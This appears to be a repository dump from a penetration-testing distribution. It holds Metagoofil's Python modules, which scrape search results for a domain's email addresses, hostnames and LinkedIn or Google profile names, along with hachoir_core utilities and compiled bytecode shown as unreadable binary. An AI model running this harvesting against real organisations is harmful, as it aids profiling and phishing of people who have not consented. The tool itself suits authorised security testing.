import string import re class parser: def __init__(self,results,word,file): self.results=results self.word=word self.temp=[] self.file=file def genericClean(self): self.results = re.sub('<em>', '', self.results) self.results = re.sub('<b>', '', self.results) self.results = re.sub('</b>', '', self.results) self.results = re.sub('</em>', '', self.results) self.results = re.sub('%2f', ' ', self.results) self.results = re.sub('%3a', ' ', self.results) self.results = re.sub('<strong>', '', self.results) self.results = re.sub('</strong>', '', self.results) for e in ('>',':','=', '<', '/', '\\',';','&','%3A','%3D','%3C'): self.results = string.replace(self.results, e, ' ') def urlClean(self): self.results = re.sub('<em>', '', self.results) self.results = re.sub('</em>', '', self.results) self.results = re.sub('%2f', ' ', self.results) self.results = re.sub('%3a', ' ', self.results) for e in ('<','>',':','=',';','&','%3A','%3D','%3C'): self.results = string.replace(self.results, e, ' ') def emails(self): self.genericClean() reg_emails = re.compile('[a-zA-Z0-9.-_]*' + '@' + '[a-zA-Z0-9.-]*' + self.word) self.temp = reg_emails.findall(self.results) emails=self.unique() return emails def fileurls(self): urls=[] reg_urls = re.compile('<a href="(.*?)"') self.temp = reg_urls.findall(self.results) allurls=self.unique() for x in allurls: if x.count('webcache') or x.count('google.com') or x.count('search?'): pass else: urls.append(x) return urls def people_linkedin(self): reg_people = re.compile('">[a-zA-Z0-9._ -]* profiles | LinkedIn') self.temp = reg_people.findall(self.results) resul = [] for x in self.temp: y = string.replace(x, ' LinkedIn', '') y = string.replace(y, ' profiles ', '') y = string.replace(y, 'LinkedIn', '') y = string.replace(y, '"', '') y = string.replace(y, '>', '') if y !=" ": resul.append(y) return resul def profiles(self): reg_people = re.compile('">[a-zA-Z0-9._ -]* - <em>Google Profile</em>') self.temp = reg_people.findall(self.results) resul = [] for x in self.temp: y = string.replace(x, ' <em>Google Profile</em>', '') y = string.replace(y, '-', '') y = string.replace(y, '">', '') if y !=" ": resul.append(y) return resul def hostnames(self): self.genericClean() reg_hosts = re.compile('[a-zA-Z0-9.-]*\.'+ self.word) self.temp = reg_hosts.findall(self.results) hostnames=self.unique() return hostnames def hostnames_all(self): reg_hosts = re.compile('<cite>(.*?)</cite>') temp = reg_hosts.findall(self.results) for x in temp: if x.count(':'): res=x.split(':')[1].split('/')[2] else: res=x.split("/")[0] self.temp.append(res) hostnames=self.unique() return hostnames def unique(self): self.new=[] for x in self.temp: if x not in self.new: self.new.append(x) return self.new
2,957
Python
.py
90
29.222222
81
0.605356
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,445
downloader.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/downloader.py
import urllib, os class downloader(): def __init__(self,url,dir): self.url=url self.dir=dir self.filename=str(url.split("/")[-1]) def down(self): if os.path.exists(self.dir+"/"+self.filename): pass else: try: urllib.urlretrieve(self.url,self.dir+"/"+self.filename) except: print "Error downloading " + self.url self.filename="" def name(self): return self.filename
405
Python
.py
17
20.470588
61
0.681347
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,446
parser.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/parser.pyc
Ñò Î ÈMc@s/ddkZddkZddd„ƒYZdS(iÿÿÿÿNtparsercBsbeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z RS( cCs(||_||_g|_||_dS(N(tresultstwordttemptfile(tselfRRR((s0/pentest/enumeration/google/metagoofil/parser.pyt__init__s   c Cstidd|iƒ|_tidd|iƒ|_tidd|iƒ|_tidd|iƒ|_tidd|iƒ|_tidd|iƒ|_tid d|iƒ|_tid d|iƒ|_x)dD]!}ti|i|dƒ|_qßWdS(Ns<em>ts<b>s</b>s</em>s%2ft s%3as<strong>s </strong>t>t:t=t<t/s\t;t&s%3As%3Ds%3C( R R R R R s\RRs%3As%3Ds%3C(tretsubRtstringtreplace(Rte((s0/pentest/enumeration/google/metagoofil/parser.pyt genericClean sc Csœtidd|iƒ|_tidd|iƒ|_tidd|iƒ|_tidd|iƒ|_x)dD]!}ti|i|dƒ|_qsWdS(Ns<em>Rs</em>s%2fRs%3aR R R R RRs%3As%3Ds%3C( R R R R RRs%3As%3Ds%3C(RRRRR(RR((s0/pentest/enumeration/google/metagoofil/parser.pyturlCleanscCsI|iƒtidd|iƒ}|i|iƒ|_|iƒ}|S(Ns[a-zA-Z0-9.-_]*t@s[a-zA-Z0-9.-]*s[a-zA-Z0-9.-_]*@(RRtcompileRtfindallRRtunique(Rt reg_emailstemails((s0/pentest/enumeration/google/metagoofil/parser.pyR!s   cCsŒg}tidƒ}|i|iƒ|_|iƒ}xO|D]G}|idƒp |idƒp|idƒoq=|i|ƒq=W|S(Ns<a href="(.*?)"twebcaches google.comssearch?(RRRRRRtcounttappend(Rturlstreg_urlstallurlstx((s0/pentest/enumeration/google/metagoofil/parser.pytfileurls(s 0cCsÉtidƒ}|i|iƒ|_g}x˜|iD]�}ti|ddƒ}ti|ddƒ}ti|ddƒ}ti|ddƒ}ti|ddƒ}|djo|i|ƒq4q4W|S( Ns&">[a-zA-Z0-9._ -]* profiles | LinkedIns LinkedInRs profiles tLinkedInt"R R(RRRRRRRR(Rt reg_peopletresulR#ty((s0/pentest/enumeration/google/metagoofil/parser.pytpeople_linkedin4s  cCsŸtidƒ}|i|iƒ|_g}xn|iD]c}ti|ddƒ}ti|ddƒ}ti|ddƒ}|djo|i|ƒq4q4W|S(Ns,">[a-zA-Z0-9._ -]* - <em>Google Profile</em>s <em>Google Profile</em>Rt-s">R(RRRRRRRR(RR'R(R#R)((s0/pentest/enumeration/google/metagoofil/parser.pytprofilesCs  cCsE|iƒtid|iƒ}|i|iƒ|_|iƒ}|S(Ns[a-zA-Z0-9.-]*\.(RRRRRRRR(Rt reg_hostst hostnames((s0/pentest/enumeration/google/metagoofil/parser.pyR.Ps   cCs™tidƒ}|i|iƒ}xe|D]]}|idƒo$|idƒdidƒd}n|idƒd}|ii|ƒq(W|iƒ}|S(Ns<cite>(.*?)</cite>R iR ii( RRRRRtsplitRRR(RR-RR#tresR.((s0/pentest/enumeration/google/metagoofil/parser.pyt hostnames_allWs$ cCsHg|_x5|iD]*}||ijo|ii|ƒqqW|iS(N(tnewRR(RR#((s0/pentest/enumeration/google/metagoofil/parser.pyRcs   ( t__name__t __module__RRRRR$R*R,R.R1R(((s0/pentest/enumeration/google/metagoofil/parser.pyRs       ((RRR(((s0/pentest/enumeration/google/metagoofil/parser.pyt<module>s  
4,703
Python
.py
22
212.772727
509
0.342161
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,447
downloader.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/downloader.pyc
Ñò Î ÈMc@s/ddkZddkZddd„ƒYZdS(iÿÿÿÿNt downloadercBs#eZd„Zd„Zd„ZRS(cCs2||_||_t|idƒdƒ|_dS(Nt/iÿÿÿÿ(turltdirtstrtsplittfilename(tselfRR((s4/pentest/enumeration/google/metagoofil/downloader.pyt__init__s  cCsmtii|id|iƒonEy%ti|i|id|iƒWnd|iGHd|_nXdS(NRsError downloading t(tostpathtexistsRRturllibt urlretrieveR(R((s4/pentest/enumeration/google/metagoofil/downloader.pytdown s!% cCs|iS(N(R(R((s4/pentest/enumeration/google/metagoofil/downloader.pytnames(t__name__t __module__RRR(((s4/pentest/enumeration/google/metagoofil/downloader.pyRs  ((R R R(((s4/pentest/enumeration/google/metagoofil/downloader.pyt<module>s
1,181
Python
.py
5
235.2
849
0.417162
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,448
processor.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/processor.py
#Christian Martorella 2011 ''' This class will sort the results and create unique list of soft, users and paths ''' class processor(): def __init__(self,list): self.list=list self.unique_users=[] self.unique_soft=[] self.unique_paths=[] def print_all(self): for x in self.list: print x[0] if x[1]!=[]: print x[1] if x[2]!=[]: print x[2] def sort_users(self): for x in self.list: if x[1]!=[]: for y in x[1]: if self.unique_users.count(y) != 0: pass else: self.unique_users.append(y) return self.unique_users def sort_software(self): for x in self.list: if x[3]!=[]: for y in x[3]: if self.unique_soft.count(y) != 0: pass else: self.unique_soft.append(y) return self.unique_soft def sort_paths(self): for x in self.list: if x[2]!=[]: for y in x[2]: if self.unique_paths.count(y) != 0: pass else: self.unique_paths.append(y) return self.unique_paths
1,033
Python
.py
44
18.25
80
0.592065
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,449
compatibility.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/compatibility.py
""" Compatibility constants and functions. This module works on Python 1.5 to 2.5. This module provides: - True and False constants ; - any() and all() function ; - has_yield and has_slice values ; - isinstance() with Python 2.3 behaviour ; - reversed() and sorted() function. True and False constants ======================== Truth constants: True is yes (one) and False is no (zero). >>> int(True), int(False) # int value (1, 0) >>> int(False | True) # and binary operator 1 >>> int(True & False) # or binary operator 0 >>> int(not(True) == False) # not binary operator 1 Warning: on Python smaller than 2.3, True and False are aliases to number 1 and 0. So "print True" will displays 1 and not True. any() function ============== any() returns True if at least one items is True, or False otherwise. >>> any([False, True]) True >>> any([True, True]) True >>> any([False, False]) False all() function ============== all() returns True if all items are True, or False otherwise. This function is just apply binary and operator (&) on all values. >>> all([True, True]) True >>> all([False, True]) False >>> all([False, False]) False has_yield boolean ================= has_yield: boolean which indicatese if the interpreter supports yield keyword. yield keyworkd is available since Python 2.0. has_yield boolean ================= has_slice: boolean which indicates if the interpreter supports slices with step argument or not. slice with step is available since Python 2.3. reversed() and sorted() function ================================ reversed() and sorted() function has been introduced in Python 2.4. It's should returns a generator, but this module it may be a list. >>> data = list("cab") >>> list(sorted(data)) ['a', 'b', 'c'] >>> list(reversed("abc")) ['c', 'b', 'a'] """ import copy import operator # --- True and False constants from Python 2.0 --- # --- Warning: for Python < 2.3, they are aliases for 1 and 0 --- try: True = True False = False except NameError: True = 1 False = 0 # --- any() from Python 2.5 --- try: from __builtin__ import any except ImportError: def any(items): for item in items: if item: return True return False # ---all() from Python 2.5 --- try: from __builtin__ import all except ImportError: def all(items): return reduce(operator.__and__, items) # --- test if interpreter supports yield keyword --- try: eval(compile(""" from __future__ import generators def gen(): yield 1 yield 2 if list(gen()) != [1, 2]: raise KeyError("42") """, "<string>", "exec")) except (KeyError, SyntaxError): has_yield = False else: has_yield = True # --- test if interpreter supports slices (with step argument) --- try: has_slice = eval('"abc"[::-1] == "cba"') except (TypeError, SyntaxError): has_slice = False # --- isinstance with isinstance Python 2.3 behaviour (arg 2 is a type) --- try: if isinstance(1, int): from __builtin__ import isinstance except TypeError: print "Redef isinstance" def isinstance20(a, typea): if type(typea) != type(type): raise TypeError("TypeError: isinstance() arg 2 must be a class, type, or tuple of classes and types") return type(typea) != typea isinstance = isinstance20 # --- reversed() from Python 2.4 --- try: from __builtin__ import reversed except ImportError: # if hasYield() == "ok": # code = """ #def reversed(data): # for index in xrange(len(data)-1, -1, -1): # yield data[index]; #reversed""" # reversed = eval(compile(code, "<string>", "exec")) if has_slice: def reversed(data): if not isinstance(data, list): data = list(data) return data[::-1] else: def reversed(data): if not isinstance(data, list): data = list(data) reversed_data = [] for index in xrange(len(data)-1, -1, -1): reversed_data.append(data[index]) return reversed_data # --- sorted() from Python 2.4 --- try: from __builtin__ import sorted except ImportError: def sorted(data): sorted_data = copy.copy(data) sorted_data.sort() return sorted __all__ = ("True", "False", "any", "all", "has_yield", "has_slice", "isinstance", "reversed", "sorted")
4,441
Python
.py
148
26.351351
113
0.62688
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,450
error.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/error.py
""" Functions to display an error (error, warning or information) message. """ from hachoir_core.log import log from hachoir_core.tools import makePrintable, makeUnicode import sys, traceback def getBacktrace(empty="Empty backtrace."): """ Try to get backtrace as string. Returns "Error while trying to get backtrace" on failure. """ try: info = sys.exc_info() trace = traceback.format_exception(*info) sys.exc_clear() if trace[0] != "None\n": return "".join(trace) except: # No i18n here (imagine if i18n function calls error...) return "Error while trying to get backtrace" return empty class HachoirError(Exception): """ Parent of all errors in Hachoir library """ def __init__(self, message): self.message = makeUnicode(message) def __str__(self): return makePrintable(self.message, "ASCII") def __unicode__(self): return self.message # Error classes which may be raised by Hachoir core # FIXME: Add EnvironmentError (IOError or OSError) and AssertionError? # FIXME: Remove ArithmeticError and RuntimeError? HACHOIR_ERRORS = (HachoirError, LookupError, NameError, AttributeError, TypeError, ValueError, ArithmeticError, RuntimeError) info = log.info warning = log.warning error = log.error
1,346
Python
.py
39
29.74359
71
0.697692
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,451
bits.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/bits.py
""" Utilities to convert integers and binary strings to binary (number), binary string, number, hexadecimal, etc. """ from hachoir_core.endian import BIG_ENDIAN, LITTLE_ENDIAN from hachoir_core.compatibility import reversed from itertools import chain, repeat from struct import calcsize, unpack, error as struct_error def swap16(value): """ Swap byte between big and little endian of a 16 bits integer. >>> "%x" % swap16(0x1234) '3412' """ return (value & 0xFF) << 8 | (value >> 8) def swap32(value): """ Swap byte between big and little endian of a 32 bits integer. >>> "%x" % swap32(0x12345678) '78563412' """ value = long(value) return ((value & 0x000000FFL) << 24) \ | ((value & 0x0000FF00L) << 8) \ | ((value & 0x00FF0000L) >> 8) \ | ((value & 0xFF000000L) >> 24) def bin2long(text, endian): """ Convert binary number written in a string into an integer. Skip characters differents than "0" and "1". >>> bin2long("110", BIG_ENDIAN) 6 >>> bin2long("110", LITTLE_ENDIAN) 3 >>> bin2long("11 00", LITTLE_ENDIAN) 3 """ assert endian in (LITTLE_ENDIAN, BIG_ENDIAN) bits = [ (ord(character)-ord("0")) \ for character in text if character in "01" ] if endian is not BIG_ENDIAN: bits = reversed(bits) size = len(bits) assert 0 < size value = 0 for bit in bits: value *= 2 value += bit return value def str2hex(value, prefix="", glue=u"", format="%02X"): r""" Convert binary string in hexadecimal (base 16). >>> str2hex("ABC") u'414243' >>> str2hex("\xF0\xAF", glue=" ") u'F0 AF' >>> str2hex("ABC", prefix="0x") u'0x414243' >>> str2hex("ABC", format=r"\x%02X") u'\\x41\\x42\\x43' """ if isinstance(glue, str): glue = unicode(glue) if 0 < len(prefix): text = [prefix] else: text = [] for character in value: text.append(format % ord(character)) return glue.join(text) def countBits(value): """ Count number of bits needed to store a (positive) integer number. >>> countBits(0) 1 >>> countBits(1000) 10 >>> countBits(44100) 16 >>> countBits(18446744073709551615) 64 """ assert 0 <= value count = 1 bits = 1 while (1 << bits) <= value: count += bits value >>= bits bits <<= 1 while 2 <= value: if bits != 1: bits >>= 1 else: bits -= 1 while (1 << bits) <= value: count += bits value >>= bits return count def byte2bin(number, classic_mode=True): """ Convert a byte (integer in 0..255 range) to a binary string. If classic_mode is true (default value), reverse bits. >>> byte2bin(10) '00001010' >>> byte2bin(10, False) '01010000' """ text = "" for i in range(0, 8): if classic_mode: mask = 1 << (7-i) else: mask = 1 << i if (number & mask) == mask: text += "1" else: text += "0" return text def long2raw(value, endian, size=None): r""" Convert a number (positive and not nul) to a raw string. If size is given, add nul bytes to fill to size bytes. >>> long2raw(0x1219, BIG_ENDIAN) '\x12\x19' >>> long2raw(0x1219, BIG_ENDIAN, 4) # 32 bits '\x00\x00\x12\x19' >>> long2raw(0x1219, LITTLE_ENDIAN, 4) # 32 bits '\x19\x12\x00\x00' """ assert (not size and 0 < value) or (0 <= value) assert endian in (LITTLE_ENDIAN, BIG_ENDIAN) text = [] while (value != 0 or text == ""): byte = value % 256 text.append( chr(byte) ) value >>= 8 if size: need = max(size - len(text), 0) else: need = 0 if need: if endian is BIG_ENDIAN: text = chain(repeat("\0", need), reversed(text)) else: text = chain(text, repeat("\0", need)) else: if endian is BIG_ENDIAN: text = reversed(text) return "".join(text) def long2bin(size, value, endian, classic_mode=False): """ Convert a number into bits (in a string): - size: size in bits of the number - value: positive (or nul) number - endian: BIG_ENDIAN (most important bit first) or LITTLE_ENDIAN (least important bit first) - classic_mode (default: False): reverse each packet of 8 bits >>> long2bin(16, 1+4 + (1+8)*256, BIG_ENDIAN) '10100000 10010000' >>> long2bin(16, 1+4 + (1+8)*256, BIG_ENDIAN, True) '00000101 00001001' >>> long2bin(16, 1+4 + (1+8)*256, LITTLE_ENDIAN) '00001001 00000101' >>> long2bin(16, 1+4 + (1+8)*256, LITTLE_ENDIAN, True) '10010000 10100000' """ text = "" assert endian in (LITTLE_ENDIAN, BIG_ENDIAN) assert 0 <= value for index in xrange(size): if (value & 1) == 1: text += "1" else: text += "0" value >>= 1 if endian is LITTLE_ENDIAN: text = text[::-1] result = "" while len(text) != 0: if len(result) != 0: result += " " if classic_mode: result += text[7::-1] else: result += text[:8] text = text[8:] return result def str2bin(value, classic_mode=True): r""" Convert binary string to binary numbers. If classic_mode is true (default value), reverse bits. >>> str2bin("\x03\xFF") '00000011 11111111' >>> str2bin("\x03\xFF", False) '11000000 11111111' """ text = "" for character in value: if text != "": text += " " byte = ord(character) text += byte2bin(byte, classic_mode) return text def _createStructFormat(): """ Create a dictionnary (endian, size_byte) => struct format used by str2long() to convert raw data to positive integer. """ format = { BIG_ENDIAN: {}, LITTLE_ENDIAN: {}, } for struct_format in "BHILQ": try: size = calcsize(struct_format) format[BIG_ENDIAN][size] = '>%s' % struct_format format[LITTLE_ENDIAN][size] = '<%s' % struct_format except struct_error: pass return format _struct_format = _createStructFormat() def str2long(data, endian): r""" Convert a raw data (type 'str') into a long integer. >>> chr(str2long('*', BIG_ENDIAN)) '*' >>> str2long("\x00\x01\x02\x03", BIG_ENDIAN) == 0x10203 True >>> str2long("\x2a\x10", LITTLE_ENDIAN) == 0x102a True >>> str2long("\xff\x14\x2a\x10", BIG_ENDIAN) == 0xff142a10 True >>> str2long("\x00\x01\x02\x03", LITTLE_ENDIAN) == 0x3020100 True >>> str2long("\xff\x14\x2a\x10\xab\x00\xd9\x0e", BIG_ENDIAN) == 0xff142a10ab00d90e True >>> str2long("\xff\xff\xff\xff\xff\xff\xff\xff", BIG_ENDIAN) == (2**64-1) True """ assert 1 <= len(data) <= 32 # arbitrary limit: 256 bits try: return unpack(_struct_format[endian][len(data)], data)[0] except KeyError: pass assert endian in (BIG_ENDIAN, LITTLE_ENDIAN) shift = 0 value = 0 if endian is BIG_ENDIAN: data = reversed(data) for character in data: byte = ord(character) value += (byte << shift) shift += 8 return value
7,408
Python
.py
254
22.917323
86
0.57195
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,452
event_handler.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/event_handler.pyc
Ñò Î ÈMc@sdefd„ƒYZdS(t EventHandlercBs)eZdZd„Zd„Zd„ZRS(s4 Class to connect events to event handlers. cCs h|_dS(N(thandlers(tself((sD/pentest/enumeration/google/metagoofil/hachoir_core/event_handler.pyt__init__scCsBy|i|i|ƒWn#tj o|g|i|<nXdS(sS Connect an event handler to an event. Append it to handlers list. N(RtappendtKeyError(Rt event_namethandler((sD/pentest/enumeration/google/metagoofil/hachoir_core/event_handler.pytconnect scGs;||ijodSx|i|D]}||Œq#WdS(sI Raiser an event: call each handler for this event_name. N(R(RRtargsR((sD/pentest/enumeration/google/metagoofil/hachoir_core/event_handler.pyt raiseEvents (t__name__t __module__t__doc__RRR (((sD/pentest/enumeration/google/metagoofil/hachoir_core/event_handler.pyRs  N(tobjectR(((sD/pentest/enumeration/google/metagoofil/hachoir_core/event_handler.pyt<module>s
1,371
Python
.py
14
94.071429
245
0.481591
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,453
dict.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/dict.pyc
—Ú Œ »Mc@sVdZddklZddklZdefdÑÉYZdefdÑÉYZdS( s/ Dictionnary classes which store values order. iˇˇˇˇ(t HachoirError(t_t UniqKeyErrorcBseZdZRS(s^ Error raised when a value is set whereas the key already exist in a dictionnary. (t__name__t __module__t__doc__(((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyRstDictcBs≠eZdZddÑZdÑZeeÉZdÑZdÑZ dÑZ dÑZ dÑZ dÑZ d ÑZd ÑZd ÑZd ÑZd ÑZdÑZdÑZdÑZRS(s¬ This class works like classic Python dict() but has an important method: __iter__() which allow to iterate into the dictionnary _values_ (and not keys like Python's dict does). cCsQh|_g|_g|_|o+x(|D]\}}|i||Éq)WndS(N(t_indext _key_listt _value_listtappend(tselftvaluestkeytvalue((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt__init__s    cCs|iS(N(R (R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt _getValuesscCs|ii|ÉS(s$ Search a value by its key and returns its index Returns None if the key doesn't exist. >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d.index("two") 0 >>> d.index("one") 1 >>> d.index("three") is None True (Rtget(R R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pytindex!s cCs|i|i|S(s« Get item with specified key. To get a value by it's index, use mydict.values[index] >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d["one"] 'un' (R R(R R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt __getitem__0s cCs||i|i|<dS(N(R R(R R R((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt __setitem__;scCsd||ijottdÉ|ÉÇnt|iÉ|i|<|ii|É|ii|ÉdS(s" Append new value sKey '%s' already existsN(RRRtlenR RR (R R R((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyR >s cCs t|iÉS(N(RR (R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt__len__HscCs ||ijS(N(R(R R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt __contains__KscCs t|iÉS(N(titerR (R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt__iter__Nsccs:x3tt|ÉÉD]}|i||i|fVqWdS(s  Create a generator to iterate on: (key, value). >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> for key, value in d.iteritems(): ... print "%r: %r" % (key, value) ... 'two': 'deux' 'one': 'un' N(txrangeRRR (R R((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt iteritemsQs cCs t|iÉS(s. Create an iterator on values (RR (R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt itervalues_scCs t|iÉS(s, Create an iterator on keys (RR(R ((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pytiterkeysescCsS|i|}||i|<||jo(|i|=||i|<||i|<ndS(sI Replace an existing value with another one >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d.replace("one", "three", 3) >>> d {'two': 'deux', 'three': 3} You can also use the classic form: >>> d['three'] = 4 >>> d {'two': 'deux', 'three': 4} N(RR R(R toldkeytnewkeyt new_valueR((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pytreplaceks      cCs |djo|t|iÉ7}nd|jot|iÉjnp)ttdÉ|t|iÉfÉÇn|i|=|i|=x9|iiÉD](\}}||jo|i|=PqòqòWxA|iiÉD]0\}}||jo|i|cd8<q‘q‘WdS(s… Delete item at position index. May raise IndexError. >>> d=Dict( ((6, 'six'), (9, 'neuf'), (4, 'quatre')) ) >>> del d[1] >>> d {6: 'six', 4: 'quatre'} is*list assignment index out of range (%s/%s)iN(RR t IndexErrorRRRR(R RR t item_index((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt __delitem__Ås '         cCs ||jottdÉ|ÉÇn|}|djo|t|iÉ7}nd|jot|iÉjnpttdÉ|ÉÇnxA|iiÉD]0\}}||jo|i|cd7<q¢q¢W||i|<|ii||É|ii||ÉdS(sÚ Insert an item at specified position index. >>> d=Dict( ((6, 'six'), (9, 'neuf'), (4, 'quatre')) ) >>> d.insert(1, '40', 'quarante') >>> d {6: 'six', '40': 'quarante', 9: 'neuf', 4: 'quatre'} s#Insert error: key '%s' ready existsis#Insert error: index '%s' is invalidiN( RRRR R"RRRtinsert(R RR RRtitem_keyR#((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyR%ùs  '   cCs'dÑ|iÉDÉ}ddi|ÉS(Ncss)x"|]\}}d||fVqWdS(s%r: %rN((t.0R R((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pys <genexpr>µs s{%s}s, (Rtjoin(R titems((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt__repr__¥sN(RRRtNoneRRtpropertyR RRRR RRRRRRR!R$R%R*(((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyRs$              N(Rthachoir_core.errorRthachoir_core.i18nRRtobjectR(((s;/pentest/enumeration/google/metagoofil/hachoir_core/dict.pyt<module>s
7,349
Python
.py
79
86.278481
821
0.414429
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,454
dict.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/dict.py
""" Dictionnary classes which store values order. """ from hachoir_core.error import HachoirError from hachoir_core.i18n import _ class UniqKeyError(HachoirError): """ Error raised when a value is set whereas the key already exist in a dictionnary. """ pass class Dict(object): """ This class works like classic Python dict() but has an important method: __iter__() which allow to iterate into the dictionnary _values_ (and not keys like Python's dict does). """ def __init__(self, values=None): self._index = {} # key => index self._key_list = [] # index => key self._value_list = [] # index => value if values: for key, value in values: self.append(key,value) def _getValues(self): return self._value_list values = property(_getValues) def index(self, key): """ Search a value by its key and returns its index Returns None if the key doesn't exist. >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d.index("two") 0 >>> d.index("one") 1 >>> d.index("three") is None True """ return self._index.get(key) def __getitem__(self, key): """ Get item with specified key. To get a value by it's index, use mydict.values[index] >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d["one"] 'un' """ return self._value_list[self._index[key]] def __setitem__(self, key, value): self._value_list[self._index[key]] = value def append(self, key, value): """ Append new value """ if key in self._index: raise UniqKeyError(_("Key '%s' already exists") % key) self._index[key] = len(self._value_list) self._key_list.append(key) self._value_list.append(value) def __len__(self): return len(self._value_list) def __contains__(self, key): return key in self._index def __iter__(self): return iter(self._value_list) def iteritems(self): """ Create a generator to iterate on: (key, value). >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> for key, value in d.iteritems(): ... print "%r: %r" % (key, value) ... 'two': 'deux' 'one': 'un' """ for index in xrange(len(self)): yield (self._key_list[index], self._value_list[index]) def itervalues(self): """ Create an iterator on values """ return iter(self._value_list) def iterkeys(self): """ Create an iterator on keys """ return iter(self._key_list) def replace(self, oldkey, newkey, new_value): """ Replace an existing value with another one >>> d=Dict( (("two", "deux"), ("one", "un")) ) >>> d.replace("one", "three", 3) >>> d {'two': 'deux', 'three': 3} You can also use the classic form: >>> d['three'] = 4 >>> d {'two': 'deux', 'three': 4} """ index = self._index[oldkey] self._value_list[index] = new_value if oldkey != newkey: del self._index[oldkey] self._index[newkey] = index self._key_list[index] = newkey def __delitem__(self, index): """ Delete item at position index. May raise IndexError. >>> d=Dict( ((6, 'six'), (9, 'neuf'), (4, 'quatre')) ) >>> del d[1] >>> d {6: 'six', 4: 'quatre'} """ if index < 0: index += len(self._value_list) if not (0 <= index < len(self._value_list)): raise IndexError(_("list assignment index out of range (%s/%s)") % (index, len(self._value_list))) del self._value_list[index] del self._key_list[index] # First loop which may alter self._index for key, item_index in self._index.iteritems(): if item_index == index: del self._index[key] break # Second loop update indexes for key, item_index in self._index.iteritems(): if index < item_index: self._index[key] -= 1 def insert(self, index, key, value): """ Insert an item at specified position index. >>> d=Dict( ((6, 'six'), (9, 'neuf'), (4, 'quatre')) ) >>> d.insert(1, '40', 'quarante') >>> d {6: 'six', '40': 'quarante', 9: 'neuf', 4: 'quatre'} """ if key in self: raise UniqKeyError(_("Insert error: key '%s' ready exists") % key) _index = index if index < 0: index += len(self._value_list) if not(0 <= index <= len(self._value_list)): raise IndexError(_("Insert error: index '%s' is invalid") % _index) for item_key, item_index in self._index.iteritems(): if item_index >= index: self._index[item_key] += 1 self._index[key] = index self._key_list.insert(index, key) self._value_list.insert(index, value) def __repr__(self): items = ( "%r: %r" % (key, value) for key, value in self.iteritems() ) return "{%s}" % ", ".join(items)
5,376
Python
.py
154
26.11039
79
0.518583
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,455
iso639.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/iso639.py
